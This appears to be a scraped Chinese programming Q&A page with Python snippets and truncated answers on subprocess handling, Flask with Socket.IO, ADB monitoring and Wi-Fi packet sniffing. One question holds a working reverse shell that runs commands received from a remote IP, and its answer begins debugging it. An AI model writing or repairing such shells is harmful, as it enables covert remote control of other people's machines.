s = "".join(os.popen("ipconfig").readlines()) result = re.findall(r"\b(?:[0-9]{1,3}\.){3}[0-9]{1,3}\b", s) print(result)

时间: 2024-05-31 18:14:09 浏览: 94
这段代码的作用是获取本机的 IP 地址并打印输出。首先，使用 `os.popen()` 执行 `ipconfig` 命令并读取输出结果。接着，使用正则表达式 `r"\b(?:[0-9]{1,3}\.){3}[0-9]{1,3}\b"` 匹配 IP 地址，并使用 `re.findall()` 函数返回所有匹配结果。最后，将结果打印输出。
相关问题

import re s = "".join(os.popen("ipconfig").readlines()) result = re.findall(r"\b(?:[0-9]{1,3}\.){3}[0-9]{1,3}\b", s) print(result)

这段代码的作用是获取本机的 IP 地址列表。 代码解析： 1. `import re`：导入正则表达式模块。 2. `s = "".join(os.popen("ipconfig").readlines())`：使用 os 模块中的 popen 函数执行系统命令 `ipconfig` 并读取输出结果，然后将输出结果按行连接成一个字符串。 3. `result = re.findall(r"\b(?:[0-9]{1,3}\.){3}[0-9]{1,3}\b", s)`：使用正则表达式查找字符串中符合 IP 地址格式的子串，并将其存储在列表 `result` 中。 4. `print(result)`：输出 IP 地址列表。 需要注意的是，由于 IP 地址可能会有多个，因此 `result` 列表中可能会包含多个元素。

@app.route('/restruct', methods=['POST']) def restruct(): dch = request.form['dch'] dch_folder = "restr" + dch count = 1 while os.path.exists(os.path.join('D:\cj', dch_folder)): dch_folder = "restr" + dch + "_" + str(count) count += 1 os.makedirs(os.path.join('D:\cj', dch_folder, 'photos')) os.makedirs(os.path.join('D:\cj', dch_folder, 'kmls')) os.makedirs(os.path.join('D:\cj', dch_folder, 'project')) photos_folder = os.path.join('D:\cj', dch_folder, 'photos') kmls_folder = os.path.join('D:\cj', dch_folder, 'kmls') project_folder = os.path.join('D:\cj', dch_folder, 'project') for file in request.files.getlist('files'): filename = file.filename file.save(os.path.join(photos_folder, filename)) dhs = request.form.getlist('dh') for dh in dhs: src_path = os.path.join(r'D:/911kml/', dh + '.xlsx.kml') dst_path = os.path.join(r'D:/cj', dch_folder, 'kmls/', dh + '.xlsx.kml') shutil.copy(src_path, dst_path) subprocess.Popen(["python", "restruct.py", dch, photos_folder, project_folder, kmls_folder])使用python3.6版本的websocket，在flask框架中将这段代码运行中的输出信息，实时发送给前端

可以使用 Flask-SocketIO 扩展来实现实时发送输出信息给前端，具体实现步骤如下： 1. 安装 Flask-SocketIO 扩展： ``` pip install flask-socketio ``` 2. 在 Flask 应用程序中导入 SocketIO： ```python from flask_socketio import SocketIO, emit socketio = SocketIO(app) ``` 3. 修改 restruct 视图函数，在执行 subprocess.Popen() 之前，发送一个消息给前端： ```python @socketio.on('connect') def test_connect(): emit('my_response', {'data': 'Connected'}) @app.route('/restruct', methods=['POST']) def restruct(): dch = request.form['dch'] dch_folder = "restr" + dch count = 1 while os.path.exists(os.path.join('D:\cj', dch_folder)): dch_folder = "restr" + dch + "_" + str(count) count += 1 os.makedirs(os.path.join('D:\cj', dch_folder, 'photos')) os.makedirs(os.path.join('D:\cj', dch_folder, 'kmls')) os.makedirs(os.path.join('D:\cj', dch_folder, 'project')) photos_folder = os.path.join('D:\cj', dch_folder, 'photos') kmls_folder = os.path.join('D:\cj', dch_folder, 'kmls') project_folder = os.path.join('D:\cj', dch_folder, 'project') for file in request.files.getlist('files'): filename = file.filename file.save(os.path.join(photos_folder, filename)) dhs = request.form.getlist('dh') for dh in dhs: src_path = os.path.join(r'D:/911kml/', dh + '.xlsx.kml') dst_path = os.path.join(r'D:/cj', dch_folder, 'kmls/', dh + '.xlsx.kml') shutil.copy(src_path, dst_path) socketio.emit('my_response', {'data': 'Restructuring started'}) subprocess.Popen(["python", "restruct.py", dch, photos_folder, project_folder, kmls_folder]) return 'success' ``` 4. 在前端页面中使用 SocketIO 客户端连接 Flask 服务器，并监听 my_response 事件，接收输出信息： ```html <!DOCTYPE html> <html> <head> <title>WebSocket Test</title> <script src="https://cdnjs.cloudflare.com/ajax/libs/socket.io/2.3.1/socket.io.js"></script> <script type="text/javascript" charset="utf-8"> var socket = io.connect('http://' + document.domain + ':' + location.port); socket.on('my_response', function(msg) { console.log(msg.data); }); </script> </head> <body> <h1>WebSocket Test</h1> </body> </html> ``` 当视图函数执行到 subprocess.Popen() 时，会向前端发送一个消息，提示重构开始，然后在 restruct.py 脚本执行过程中，输出信息会实时发送给前端，可以通过在 restruct.py 中使用 print() 或者 sys.stdout.write() 来输出信息。
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@app.route('/restruct', methods=['POST']) def restruct(): dch = request.form['dch'] dch_folder = "restr" + dch count = 1 while os.path.exists(os.path.join('D:\\cj', dch_folder)): dch_folder = "restr" + dch + "_" + str(count) count += 1 os.makedirs(os.path.join('D:\\cj', dch_folder, 'photos')) os.makedirs(os.path.join('D:\\cj', dch_folder, 'kmls')) os.makedirs(os.path.join('D:\\cj', dch_folder, 'project')) photos_folder = os.path.join('D:\\cj', dch_folder, 'photos') kmls_folder = os.path.join('D:\\cj', dch_folder, 'kmls') project_folder = os.path.join('D:\\cj', dch_folder, 'project') for file in request.files.getlist('files'): filename = file.filename file.save(os.path.join(photos_folder, filename)) dhs = request.form.getlist('dh') for dh in dhs: src_path = os.path.join(r'D:/911kml/', dh + '.xlsx.kml') dst_path = os.path.join(r'D:/cj', dch_folder, 'kmls/', dh + '.xlsx.kml') shutil.copy(src_path, dst_path) subprocess.Popen(["python", "restruct.py", dch, photos_folder, project_folder, kmls_folder])使用python3.6版本的websocket，将这段代码运行中的输出信息，实时发送给前端

dst_path = os.path.join(r'D:/cj', dch_folder, 'kmls/', dh + '.xlsx.kml') shutil.copy(src_path, dst_path) # 使用 Popen 执行命令，并将输出信息实时发送给前端 process = Popen(["python", "restruct.py...
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2. 在循环内部还执行了一个 os.system() 命令，这个命令会新开一个进程去执行 ssh 命令，这样会增加系统负担。可以使用 paramiko 库来实现 SSH 连接。 3. 函数最后返回的 ret_values[0] 只有一个元素，而且...

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要检测该段程序中 powershell 是否运行完毕，可以使用 Python 的 subprocess 模块来代替 os.system 函数来运行 powershell，并使用 communicate() 方法来等待 powershell 进程结束。例如： import ...

import socket, subprocess # 设置服务器IP与端口 HOST = "192.168.146.128" PORT = 11443 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((HOST, PORT)) s.send('[*]建立了连接') while 1: # 接收命令，从服务器接收命令，读取1024字节数据并保存 data = s.recv(1024) if data == "quit": break proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE) stdout_value = proc.stdout.read() + proc.stderr.read() s.send(stdout_value) s.close()检查代码是否有问题

1. 在发送数据时应该使用字节串类型，可以通过在字符串前面加 b 来实现，如 b'[*]建立了连接' 2. 在接收数据时，需要将接收到的字节串解码为字符串，可以使用 decode() 方法，如 data = s.recv(1024).decode() 3. 在...

def get_cpu_usage(self): cpu_usage = 0.0 try: result = os.popen("adb shell top -n 1 | grep -v grep | awk '{print $3}'").read() print(result) cpu_usage = float(result) except: pass return cpu_usage # 获取应用当前使用的内存 def get_app_memory_usage(self): app_memory_usage = 0 try: result = os.popen("adb shell dumpsys meminfo com.asus.camera | grep 'TOTAL' | awk '{print $2}'").read() app_memory_usage = int(result) except: pass return app_memory_usage # 每隔1秒钟获取一次CPU占用率和应用当前使用的内存 def monitor(self): cpu_usage = self.get_cpu_usage() print("CPU usage: %.2f%%" % cpu_usage) app_memory_usage = self.get_app_memory_usage() print("App memory usage: %dKB" % app_memory_usage) time.sleep(1)

这段代码是一段Python程序，主要作用是通过ADB命令获取Android手机中某个应用的CPU占用率...同时，该代码中使用了os.popen()函数执行命令，这种方式存在一定的安全风险，建议在实际应用中采用更为安全的方式执行命令。

def run(self): process = subprocess.Popen(['python', self.script_path], stdout=subprocess.PIPE, stderr=subprocess.STDOUT) while True: output = process.stdout.readline().decode().strip() if output == '' and process.poll() is not None: break if output: self.output_signal.emit(output)解释下该代码

这段代码是一个 Python 的多线程程序，其中包含一个运行函数 run。该函数会启动一个子进程运行指定的 Python 脚本（脚本路径为 self.script_path），并将子进程的标准输出和标准错误输出都重定向到 subprocess....

import subprocess cmd = ".\\runtime\\python.exe .\\RVC_ttk_gui_0.16.12Beta.py" subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)

subprocess.Popen函数用于启动一个子进程来执行给定的命令。在您的代码中，您将命令字符串存储在cmd变量中，并将其传递给Popen函数。 这里有几个注意事项： 1. 请确保.\\runtime\\python.exe路径是正确的...

while not self.thread_stop: lines = [] lines = p.stdout.readlines(1024) if len(lines) != 0: with open(file_name, self.filemode) as f: for curline in lines: f.write(curline.strip().decode() + "\n") elif p.poll() is not None: logging.info("subprocess.Popen(monkey) is stopted time:%s" % util.get_current_time_format()) with open(file_name, self.filemode) as f: f.write("subprocess.Popen(monkey) is stopted time:%s \n" % util.get_current_time_format()) break print("in monkey run %s"%util.get_current_time_format())

这是一个使用Python的while循环，它会在子进程p没有停止的情况下不断地读取子进程的输出，并将其写入文件中。在每次读取输出时，它会检查读取的行数是否为0，如果不为0，就将每一行输出写入指定的文件中。...

import sys import os from scapy.all import * from scapy.layers.dot11 import Dot11 # 设置网络接口为监视模式的函数 def set_monitor_mode(iface): try: comm = subprocess.Popen(['sudo','ifconfig',iface,'down'],stdout=subprocess.PIPE,stderr=subprocess.PIPE) output,error = comm.communicate() comm = subprocess.Popen(['sudo','iwconfig',iface,'mode', 'monitor'], stdout=subprocess.PIPE,stderr=subprocess.PIPE) output, error = comm.communicate() comm = subprocess.Popen(['sudo', 'ifconfig',iface,'up'], stdout=subprocess.PIPE, stderr=subprocess.PIPE) output, error = comm.communicate() except Exception as e: print("Error: {0}".format(e)) sys.exit(1) # 定义处理数据包的回调函数 def packet_callback(packet, q): # 过滤数据包中的MAC地址 if packet.haslayer(Dot11): if packet.addr2 and (packet.addr2.lower() != 'ff:ff:ff:ff:ff:ff'): # 将连接的MAC地址存入队列 q.put(packet.addr2) # 处理数据包的线程 def process_packets(q): while True: if not q.empty(): # 输出连接的MAC地址 print("Device connected: %s" % q.get()) # 主程序 if name == 'main': # 设置网络接口为监视模式 set_monitor_mode('wlan0') # 创建队列对象 q = Queue() # 创建并启动处理数据包的线程 t = Thread(target=process_packets, args=(q,)) t.daemon = True t.start() # 开始抓取数据包 sniff(prn=lambda packet: packet_callback(packet, q), iface='wlan0', filter='arp')如何在window系统下实现

import os from queue import Queue from threading import Thread from scapy.all import * from scapy.layers.dot11 import Dot11 # 设置网络接口为监视模式的函数 def set_monitor_mode(iface): try: comm = ...
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